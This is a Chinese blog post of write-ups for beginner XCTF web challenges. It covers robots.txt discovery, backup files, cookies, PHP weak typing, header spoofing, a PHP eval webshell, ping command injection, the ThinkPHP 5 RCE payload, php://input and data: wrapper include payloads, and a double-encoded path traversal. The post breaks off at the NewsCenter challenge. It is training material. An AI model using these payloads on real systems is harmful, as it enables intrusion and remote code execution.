攻防世界笔记(持续更新)

view_source

题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
在这里插入图片描述
解题思路:的确如题目描述一样,右键源码不管用了,直接F12查看就可以了。
在这里插入图片描述
cyberpeace{c497590e759b6df0b7e517c27ea4a966}

robots

题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
在这里插入图片描述
解题思路:通过描述,这一题和robots有关,先来了解一下robots协议。
在这里插入图片描述
看完后,我们直接后缀拼接robots.txt就可以了。
在这里插入图片描述
可以看到网站下有个f1ag_1s_h3re.php文件,我们直接拼接看看能不能读出来。
在这里插入图片描述
cyberpeace{e44bf62bf9ed7049047c0f512aab7dc8}

backup

题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
在这里插入图片描述
解题思路:通过题目描述知道这一题和网站备份文件有关系。
常见的备份文件后缀名有:.git、.svn、.swp、.~、.bak、.bash_history、.bkf 、*.ara、*zip等等。
备份文件后缀有很多,可以将常用的一个一个试或者用工具扫描。
在这里插入图片描述
最后得到拼接.bak
在这里插入图片描述
得到文件
在这里插入图片描述
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

cookie

题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
在这里插入图片描述
解题思路:通过描述了解到这题关键应该在cookie中,我们直接抓包查看一下cookie。
在这里插入图片描述
cookie里提示有look-here=cookie.php,拼接一下cookie.php。
在这里插入图片描述
提示让我们看一下http响应
在这里插入图片描述
cyberpeace{6a84661859c54d47564d5292eac38e4c}

disabled_button

题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
在这里插入图片描述
解题思路:通过题目描述得知,题目的关键在于前端知识并且按钮不能点击。我们想办法让按钮可以点击看一下。
在这里插入图片描述
通过前端审查元素查看,发现只需要删除disabled按钮就可以点击了。
在这里插入图片描述
cyberpeace{4541af16631542dd22a38f13c524adac}

weak_auth

题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。
在这里插入图片描述
解题思路:根据题目描述,我们知道就是让我们才用户名密码登录就可以了。
这里可以手试或者用字典跑。我直接拿出常用2组合试了试,直接过了。admin/admin admin/123456
在这里插入图片描述
admin/123456
在这里插入图片描述
cyberpeace{699597b2e803c7858fdd63a187170f47}

simple_php

题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
在这里插入图片描述
解题思路:通过题目描述了解到应该是php代码问题了。
在这里插入图片描述
代码意思就是想拿到flag1,则必须使得a==0且a不为0
在这里插入图片描述
flag1只有前部分,a=0a用到php弱类型,这是一个知识点。

php弱类型:字符串和数字比较使用==时,字符串会先转换为数字类型再比较 
php var_dump('a' == 0);//true,这里'a'会被转换数字0 
var_dump('123a' == 123);//true,这里'123a'会被转换为123
$a==0 and $a,a=a即可,$b>1234且!is_numeric($b),b=1234b

?a=0a&b=12345a即可得到flag
在这里插入图片描述
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

get_post

题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
在这里插入图片描述
解题思路:通过题目描述得知使要用http的get和post两种请求方式。
在这里插入图片描述
题目提示请用GET方式提交一个名为a,值为1的变量
在这里插入图片描述
得到第二个提示请再以POST方式随便提交一个名为b,值为2的变量
在这里插入图片描述
得到cyberpeace{e8314bd85d9ca905e8dccc30cb8542e5}

xff_referer

题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
在这里插入图片描述
解题思路:根据题目描述得知是xff与referer。
XFF构造来源IP
Refer构造来源浏览器
在这里插入图片描述
提示ip地址必须是123.123.123.123
构造X-Forwarded-For:123.123.123.123
在这里插入图片描述
第二个提示必须来自谷歌
构造Referer:https://www.google.com
在这里插入图片描述
cyberpeace{c138f8c967326df51bc66ffdcedffdf1}

webshell

题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
在这里插入图片描述
解题思路:简单明了,就是菜刀连一句话木马了
在这里插入图片描述
直接提示在主页<?php @eval($_POST['shell']);?> 密码是shell
上菜刀链接
在这里插入图片描述
flag直接打开就可以得到
在这里插入图片描述
cyberpeace{a6fb679948fac51d69a4ed0a8ad68a8c}

command_execution

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
在这里插入图片描述
解题思路:看描述ping功能,这应该是就是一个命令至执行的题了。
在这里插入图片描述
通过层层查找www.baidu.com|ls …/…/…/home/
查找到flag.txt在home下
在这里插入图片描述
查看www.baidu.com|cat …/…/…/home/flag.txt得到flag
在这里插入图片描述
cyberpeace{d5613cca6ec8c0fa9082fca27c6fd25f}

simple_js

题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
在这里插入图片描述
解题思路:根据题目描述的意思是要输入对了密码才能拿到flag,但其实这是个坑,输入什么都是错的。
在这里插入图片描述
输入什么都会输出var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
在这里插入图片描述
查看右键源码会发现这一串就有可能是flag
dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
在这里插入图片描述
将他转换成文本55,56,54,79,115,69,114,116,107,49,50
在这里插入图片描述
将55,56,54,79,115,69,114,116,107,49,50转化成字符串786OsErtk12
Cyberpeace{786OsErtk12}

baby_web

题目描述:想想初始页面是哪个
在这里插入图片描述
解题思路:想想初始页面是啥,肯定是index.php了
发现输入拼接index.php会马上跳转回1.php
在这里插入图片描述
只能分析数据包在http里发现flag
在这里插入图片描述
flag{very_baby_web}

Training-WWW-Robots

题目描述:暂无
在这里插入图片描述
解题思路:虽然无描述,但是通过题目就可以知道是robots协议了。
在这里插入图片描述
看到了fl0g.php,直接拼接(和新手区那个robots题是一样的)
在这里插入图片描述
cyberpeace{49706581906560ae5448232caa4ab7c7}

php_rce

题目描述:暂无
在这里插入图片描述
解题思路:无描述,打开环境发现是thinkPHP V5
在这里插入图片描述
ThinkPHP V5远程执行公开漏洞(可以具体分析一下)
在这里插入图片描述

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

在这里插入图片描述
flag{thinkphp5_rce} flag{thinkphp5_rce}

Web_php_include

题目描述:暂无
在这里插入图片描述
解题思路:无描述,是一个php代码
在这里插入图片描述
page传参但是带有php://的都会被替换成空,而str_replace()是区分大小写的
str_replace()以其他字符替换字符串中的一些字符(区分大小写)
strstr() 查找字符串首次出现的位置。返回字符串剩余部分
就可以构成大小写绕过
在这里插入图片描述
可以直接看到fl4gisisish3r3.php文件了
在这里插入图片描述
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
在这里插入图片描述
补充:这道题有好几种解题思路/
PHP://input post: <?php system("ls");?>
index.php?page=data:text/plain,<?php system("ls"); ?>;
index.php?page=data:text/plain,<?php eval($_POST[c]); ?>

ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
在这里插入图片描述
解题思路:只能进去看一下了,一个系统界面
在这里插入图片描述
点了一圈发现index.php界面可以传参
在这里插入图片描述
其实这个地方也是直接拿sqlmap跑的,跑不出来最后才发现这是个爆破题…
在这里插入图片描述
爆破遍历参数就可以了
在这里插入图片描述
2333时就出来flag了,有点拼脑洞了…
在这里插入图片描述

warmup

题目描述:暂无
在这里插入图片描述
解题思路:直接看题
一个滑稽表情
在这里插入图片描述
看源码得到source.php
在这里插入图片描述
得到一大串源代码,需要审计

 <?php
    highlight_file(__FILE__);//打印代码
    class emmm//定义emmm类
    {
        public static function checkFile(&$page)//将传入的参数赋值给¥page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
            if (! isset($page) || !is_string($page)) {//若$page变量不存在或者非法字符串
                echo "you can't see it";//打印"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist中
                return true;//返回true
            }

            $_page = mb_substr(//截取$_page中'?'前部分
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {//若$page变量存在于$whitelist中
                return true;//返回tru
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(//截取$_page中'?'前部分
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {//若$page变量存在于$whitelist中
                return true;//返回tru
            }
            echo "you can't see it";//打印"you can't see it"
            return false;返回false
        }
    }

    if (! empty($_REQUEST['file'])//$_REQUEST['file']值不能为空
        && is_string($_REQUEST['file'])//$_REQUEST['file']值是字符串
        && emmm::checkFile($_REQUEST['file'])//能通过checkFile函数校验
    ) {
        include $_REQUEST['file'];//包含$_REQUEST['file']文件
        exit;//退出当前脚本
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//打印表情
    }  
?> 

首先我们可以得到/hint.php
给了我们一个提示flag在ffffllllaaaagggg里面
在这里插入图片描述
checkFile

1.第一个if语句对变量进行检验,要求$page为字符串,否则返回false
2.第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
3.第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page'?'前部分,存在则返回true
4.第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
 
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f',构造url:

/?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg
…/无返回值,无法判断ffffllllaaaagggg位置,依次增加最后…/…/…/…/…/找到ffffllllaaaagggg
在这里插入图片描述
flag{25e7bce6005c4e0c983fb97297ac6e5a}

NewsCenter

题目描述:如题目环境报错,稍等片刻刷新即可
在这里插入图片描述
解题思路:打开环境看了一下,很明显的一个注入。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值